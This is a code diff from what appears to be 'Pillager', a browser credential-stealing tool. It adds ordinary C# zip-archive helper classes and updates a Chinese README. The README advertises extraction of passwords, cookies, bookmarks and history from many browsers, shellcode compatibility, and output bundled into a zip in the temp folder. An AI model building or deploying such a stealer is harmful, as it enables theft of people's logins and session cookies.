throw new IOException("Extraction of folder is not supported via ZipArchiveEntry item");
|
||||
}
|
||||
|
||||
// TODO: this could potentially overwrite existing file
|
||||
destination.Copy(item.Item);
|
||||
var path = Path.Combine(destFolder, item.Name);
|
||||
ShellHelper.WaitForCompletion(path);
|
||||
|
||||
// update the name to required one:
|
||||
if (path != destinationFileName)
|
||||
{
|
||||
if (File.Exists(destinationFileName))
|
||||
File.Delete(destinationFileName);
|
||||
File.Move(path, destinationFileName);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,166 @@
|
|||
#region License
|
||||
/*
|
||||
Copyright (c) 2015, Paweł Hofman (CodeTitans)
|
||||
All Rights Reserved.
|
||||
|
||||
Licensed under MIT License
|
||||
For more information please visit:
|
||||
|
||||
https://github.com/phofman/zip/blob/master/LICENSE
|
||||
or
|
||||
http://opensource.org/licenses/MIT
|
||||
|
||||
|
||||
For latest source code, documentation, samples
|
||||
and more information please visit:
|
||||
|
||||
https://github.com/phofman/zip
|
||||
*/
|
||||
#endregion
|
||||
|
||||
namespace System.IO.Compression
|
||||
{
|
||||
/// <summary>
|
||||
/// Representation of a single item inside a ZIP archive.
|
||||
/// https://msdn.microsoft.com/en-us/library/system.io.compression.ziparchiveentry(v=vs.110).aspx
|
||||
/// </summary>
|
||||
public sealed class ZipArchiveEntry
|
||||
{
|
||||
internal ZipArchiveEntry(ZipArchive archive, ShellHelper.FolderItem item, string tempLocalPath, string entryName, long length)
|
||||
{
|
||||
if (archive == null)
|
||||
throw new ArgumentNullException("archive");
|
||||
if (string.IsNullOrEmpty(entryName))
|
||||
throw new ArgumentNullException("entryName");
|
||||
|
||||
Archive = archive;
|
||||
Item = item;
|
||||
TempLocalPath = tempLocalPath;
|
||||
FullName = entryName;
|
||||
Name = Path.GetFileName(entryName);
|
||||
Length = length;
|
||||
}
|
||||
|
||||
#region Properties
|
||||
|
||||
public ZipArchive Archive
|
||||
{
|
||||
get;
|
||||
private set;
|
||||
}
|
||||
|
||||
public long CompressedLength
|
||||
{
|
||||
get { return Length; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the relative path of the entry in ZIP archive.
|
||||
/// </summary>
|
||||
public string FullName
|
||||
{
|
||||
get;
|
||||
private set;
|
||||
}
|
||||
|
||||
public DateTime LastWriteTime
|
||||
{
|
||||
get;
|
||||
private set;
|
||||
}
|
||||
|
||||
public long Length
|
||||
{
|
||||
get;
|
||||
private set;
|
||||
}
|
||||
|
||||
public string Name
|
||||
{
|
||||
get;
|
||||
private set;
|
||||
}
|
||||
|
||||
internal ShellHelper.FolderItem Item
|
||||
{
|
||||
get;
|
||||
private set;
|
||||
}
|
||||
|
||||
internal string TempLocalPath
|
||||
{
|
||||
get;
|
||||
private set;
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
/// <summary>
|
||||
/// Returns a string that represents the current object.
|
||||
/// </summary>
|
||||
/// <returns>
|
||||
/// A string that represents the current object.
|
||||
/// </returns>
|
||||
public override string ToString()
|
||||
{
|
||||
return FullName;
|
||||
}
|
||||
|
||||
internal bool Match(ZipArchiveEntry item)
|
||||
{
|
||||
if (item == null)
|
||||
return false;
|
||||
return string.CompareOrdinal(item.FullName, FullName) == 0;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Opens the entry from the zip archive.
|
||||
/// </summary>
|
||||
public Stream Open()
|
||||
{
|
||||
switch (Archive.Mode)
|
||||
{
|
||||
case ZipArchiveMode.Read:
|
||||
if (string.IsNullOrEmpty(TempLocalPath))
|
||||
throw new IOException(string.Concat("Unable to find requested file matching the (\"", FullName, "\")"));
|
||||
return new FileStream(TempLocalPath, FileMode.Open, FileAccess.Read);
|
||||
case ZipArchiveMode.Create: // fall-through
|
||||
case ZipArchiveMode.Update:
|
||||
return new FileStream(TempLocalPath, FileMode.OpenOrCreate, FileAccess.ReadWrite);
|
||||
default:
|
||||
throw new IOException("This mode is not supported");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Deletes the entry from the zip archive.
|
||||
/// </summary>
|
||||
public void Delete()
|
||||
{
|
||||
Archive.Delete(this);
|
||||
TempLocalPath = null;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Extracts an entry in the zip archive to a file.
|
||||
/// </summary>
|
||||
public void ExtractToFile(string destinationFileName)
|
||||
{
|
||||
if (string.IsNullOrEmpty(destinationFileName))
|
||||
throw new ArgumentNullException("destinationFileName");
|
||||
|
||||
Archive.ExtractToFile(this, destinationFileName, false);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Extracts an entry in the zip archive to a file.
|
||||
/// </summary>
|
||||
public void ExtractToFile(string destinationFileName, bool overwrite)
|
||||
{
|
||||
if (string.IsNullOrEmpty(destinationFileName))
|
||||
throw new ArgumentNullException("destinationFileName");
|
||||
|
||||
Archive.ExtractToFile(this, destinationFileName, overwrite);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,32 @@
|
|||
#region License
|
||||
/*
|
||||
Copyright (c) 2015, Paweł Hofman (CodeTitans)
|
||||
All Rights Reserved.
|
||||
|
||||
Licensed under MIT License
|
||||
For more information please visit:
|
||||
|
||||
https://github.com/phofman/zip/blob/master/LICENSE
|
||||
or
|
||||
http://opensource.org/licenses/MIT
|
||||
|
||||
|
||||
For latest source code, documentation, samples
|
||||
and more information please visit:
|
||||
|
||||
https://github.com/phofman/zip
|
||||
*/
|
||||
#endregion
|
||||
|
||||
namespace System.IO.Compression
|
||||
{
|
||||
/// <summary>
|
||||
/// Specifies values for interacting with zip archive entries.
|
||||
/// </summary>
|
||||
public enum ZipArchiveMode
|
||||
{
|
||||
Read,
|
||||
Create,
|
||||
Update,
|
||||
}
|
||||
}
|
|
@ -0,0 +1,156 @@
|
|||
#region License
|
||||
/*
|
||||
Copyright (c) 2015, Paweł Hofman (CodeTitans)
|
||||
All Rights Reserved.
|
||||
|
||||
Licensed under MIT License
|
||||
For more information please visit:
|
||||
|
||||
https://github.com/phofman/zip/blob/master/LICENSE
|
||||
or
|
||||
http://opensource.org/licenses/MIT
|
||||
|
||||
|
||||
For latest source code, documentation, samples
|
||||
and more information please visit:
|
||||
|
||||
https://github.com/phofman/zip
|
||||
*/
|
||||
#endregion
|
||||
|
||||
using System.Text;
|
||||
|
||||
namespace System.IO.Compression
|
||||
{
|
||||
/// <summary>
|
||||
/// Helper class to simplify operations over ZIP archive.
|
||||
/// </summary>
|
||||
public static class ZipFile
|
||||
{
|
||||
/// <summary>
|
||||
/// Creates a zip archive that contains the files and directories from the specified directory.
|
||||
/// </summary>
|
||||
public static void CreateFromDirectory(string sourceDirectoryName, string destinationArchiveFileName)
|
||||
{
|
||||
CreateFromDirectory(sourceDirectoryName, destinationArchiveFileName, CompressionLevel.Optimal, false, null);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates a zip archive that contains the files and directories from the specified directory.
|
||||
/// </summary>
|
||||
public static void CreateFromDirectory(string sourceDirectoryName, string destinationArchiveFileName, CompressionLevel compressionLevel, bool includeBaseDirectory)
|
||||
{
|
||||
CreateFromDirectory(sourceDirectoryName, destinationArchiveFileName, compressionLevel, includeBaseDirectory, null);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates a zip archive that contains the files and directories from the specified directory.
|
||||
/// </summary>
|
||||
public static void CreateFromDirectory(string sourceDirectoryName, string destinationArchiveFileName, CompressionLevel compressionLevel, bool includeBaseDirectory, Encoding entryNameEncoding)
|
||||
{
|
||||
if (string.IsNullOrEmpty(sourceDirectoryName))
|
||||
throw new ArgumentNullException("sourceDirectoryName");
|
||||
if (string.IsNullOrEmpty(destinationArchiveFileName))
|
||||
throw new ArgumentNullException("destinationArchiveFileName");
|
||||
|
||||
var filesToAdd = Directory.GetFiles(sourceDirectoryName, "*", SearchOption.AllDirectories);
|
||||
var entryNames = GetEntryNames(filesToAdd, sourceDirectoryName, includeBaseDirectory);
|
||||
|
||||
using(var zipFileStream = new FileStream(destinationArchiveFileName, FileMode.Create))
|
||||
{
|
||||
using (var archive = new ZipArchive(zipFileStream, ZipArchiveMode.Create))
|
||||
{
|
||||
for (int i = 0; i < filesToAdd.Length; i++)
|
||||
{
|
||||
archive.CreateEntryFromFile(filesToAdd[i], entryNames[i], compressionLevel);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static string[] GetEntryNames(string[] names, string sourceFolder, bool includeBaseName)
|
||||
{
|
||||
if (names == null || names.Length == 0)
|
||||
return new string[0];
|
||||
|
||||
if (includeBaseName)
|
||||
sourceFolder = Path.GetDirectoryName(sourceFolder);
|
||||
|
||||
int length = string.IsNullOrEmpty(sourceFolder) ? 0 : sourceFolder.Length;
|
||||
if (length > 0 && sourceFolder != null && sourceFolder[length - 1] != Path.DirectorySeparatorChar && sourceFolder[length - 1] != Path.AltDirectorySeparatorChar)
|
||||
length++;
|
||||
|
||||
var result = new string[names.Length];
|
||||
for (int i = 0; i < names.Length; i++)
|
||||
{
|
||||
result[i] = names[i].Substring(length);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Extracts all the files in the specified zip archive to a directory on the file system.
|
||||
/// </summary>
|
||||
public static void ExtractToDirectory(string sourceArchiveFileName, string destinationDirectoryName)
|
||||
{
|
||||
ExtractToDirectory(sourceArchiveFileName, destinationDirectoryName, null);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Extracts all the files in the specified zip archive to a directory on the file system.
|
||||
/// </summary>
|
||||
public static void ExtractToDirectory(string sourceArchiveFileName, string destinationDirectoryName, Encoding entryNameEncoding)
|
||||
{
|
||||
if (string.IsNullOrEmpty(sourceArchiveFileName))
|
||||
throw new ArgumentNullException("sourceArchiveFileName");
|
||||
if (string.IsNullOrEmpty(destinationDirectoryName))
|
||||
throw new ArgumentNullException("destinationDirectoryName");
|
||||
|
||||
using (var zipFileStream = new FileStream(sourceArchiveFileName, FileMode.Open))
|
||||
{
|
||||
using (var archive = new ZipArchive(zipFileStream, ZipArchiveMode.Read))
|
||||
{
|
||||
archive.ExtractToDirectory(destinationDirectoryName);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Opens a zip archive at the specified path and in the specified mode.
|
||||
/// </summary>
|
||||
public static ZipArchive Open(string archiveFileName, ZipArchiveMode mode)
|
||||
{
|
||||
return Open(archiveFileName, mode, null);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Opens a zip archive at the specified path and in the specified mode.
|
||||
/// </summary>
|
||||
public static ZipArchive Open(string archiveFileName, ZipArchiveMode mode, Encoding entryNameEncoding)
|
||||
{
|
||||
if (string.IsNullOrEmpty(archiveFileName))
|
||||
throw new ArgumentNullException("archiveFileName");
|
||||
|
||||
switch (mode)
|
||||
{
|
||||
case ZipArchiveMode.Create:
|
||||
return new ZipArchive(new FileStream(archiveFileName, FileMode.Create), ZipArchiveMode.Create);
|
||||
case ZipArchiveMode.Update:
|
||||
return new ZipArchive(new FileStream(archiveFileName, FileMode.OpenOrCreate), ZipArchiveMode.Update);
|
||||
case ZipArchiveMode.Read:
|
||||
return new ZipArchive(new FileStream(archiveFileName, FileMode.Open), ZipArchiveMode.Read);
|
||||
default:
|
||||
throw new IOException("Unsupported archive mode");
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Opens a zip archive for reading at the specified path.
|
||||
/// </summary>
|
||||
public static ZipArchive OpenRead(string archiveFileName)
|
||||
{
|
||||
return Open(archiveFileName, ZipArchiveMode.Read, null);
|
||||
}
|
||||
}
|
||||
}
|
15
README.md
15
README.md
|
@ -10,14 +10,23 @@
|
|||
|
||||
目前支持:
|
||||
|
||||
* IE/旧版Edge的密码,书签,历史记录提取
|
||||
* Chromium系浏览器的密码,书签,历史记录,cookies提取
|
||||
* IE
|
||||
* Edge
|
||||
* Chrome
|
||||
* Chrome Beta
|
||||
* Chromium
|
||||
* Brave-Browser
|
||||
* QQBrowser
|
||||
* SogouExplorer
|
||||
* Vivaldi
|
||||
* CocCoc
|
||||
* FireFox
|
||||
|
||||
后续将会陆续添加支持的浏览器
|
||||
|
||||
## 优点
|
||||
|
||||
体积小,长期维护,shellcode兼容.Net Framework 2.x/3.x/4.x , shellcode兼容x86/x64
|
||||
体积小,长期维护,shellcode兼容.Net Framework 2.x/3.x/4.x , shellcode兼容x86/x64,执行后文件输出至`%Temp%\Pillager.zip`
|
||||
|
||||
## 编译
|
||||
|
||||
|
|
Loading…
Reference in New Issue